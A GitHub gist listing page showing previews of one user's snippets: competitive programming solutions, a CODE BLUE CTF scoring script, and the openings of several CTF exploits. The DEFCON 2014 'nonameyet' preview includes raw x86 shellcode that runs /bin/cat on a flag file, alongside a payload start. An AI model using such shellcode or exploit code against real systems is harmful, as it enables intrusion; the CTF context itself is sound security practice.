Skip to content

Instantly share code, notes, and snippets.

View dfs.cpp
LL dfs(int v, int p, int k) {
int rem = k - 2*(sz[v]-mx[v]);
if (rem <= 0) return 0;
LL ret = INF;
int u;
LL l;
for (auto &e : es[v]) {
u = e.to;
if (u == p) continue;
@potetisensei
potetisensei / make_score.py
Created Dec 1, 2018
Script for create scoring functions in CODE BLUE CTF 2018 Finals
View make_score.py
from math import floor
# For JNI, Fliqpy, EasyExample
#base = 50
#div = [3, 6, 6, 6, 10, 15, 15, 15, 15, 9]
# For CTC, OSS, Account
base = 0
div = [2.5, 5, 10, 10, 10, 10, 10, 10, 10, 10, 5, 5, 2.5]
assert(sum(div) == 100)
@potetisensei
potetisensei / 415-c.cpp
Created May 21, 2017
Codeforces Round #415 (Div. 1) C. Find a car
View 415-c.cpp
#include <bits/stdc++.h>
using namespace std;
#define MOD 1000000007
typedef long long int LLI;
#define L 0
#define H 1
#define W 2
#define HW 3
@potetisensei
potetisensei / 6.c
Created Aug 21, 2016
LEGIT_00006 pov
View 6.c
#include <pov.h>
#include <stdio.h>
unsigned int getrand() {
unsigned int ret = 0x41414141;
//int i;
//for (i=0; i<4; i++) {
// ret *= 0x100;
// unsigned char c;
// random(&c, 1, NULL);
@potetisensei
potetisensei / get_val.c
Created Mar 9, 2016
Boston key Party 2016 spacerex
View get_val.c
int main() {
double hoge;
scanf("%llu", ((long long int*)&hoge));
printf("%e\n", hoge);
}
View e.cpp
#include <cstdio>
#include <vector>
#include <algorithm>
using namespace std;
int u, v;
int high, low;
int n, k;
int g_x;
int as[200000];
@potetisensei
potetisensei / nonameyet.py
Last active Aug 29, 2015
nonameyet - DEFCON 2014
View nonameyet.py
from socket import *
from time import time, sleep
from struct import pack
from sys import argv
HOST = "localhost"
shellcode = "\x31\xc0\x50\x68\x66\x6c\x61\x67\x68\x2e\x2e\x2f\x2f\x54\x5f\x50\x68\x2f\x63\x61\x74\x68\x2f\x62\x69\x6e\x54\x5b\x50\x57\x53\x54\x59\x6a\x0b\x58\xcd\x80" # should use connectback shellcode actually
def main():
payload1 = "a" * 34
View 3246.cpp
#include <cstdio>
#include <utility>
#include <algorithm>
using namespace std;
typedef pair<int, int> Pair;
inline int det(Pair p1, Pair p2) {
return p1.first * p2.second - p1.second * p2.first;
}
View 1113.cpp
#include <cstdio>
#include <cmath>
#include <utility>
#include <algorithm>
using namespace std;
#define PI 3.1415926535
typedef pair<int, int> Pair;
int n;
View ezhp.py
import string
from socket import *
from struct import pack, unpack
from commands import getoutput
from time import sleep, time
from sys import argv, exit
def read_noblock(p, n):
p.setblocking(False)
try:
You can’t perform that action at this time.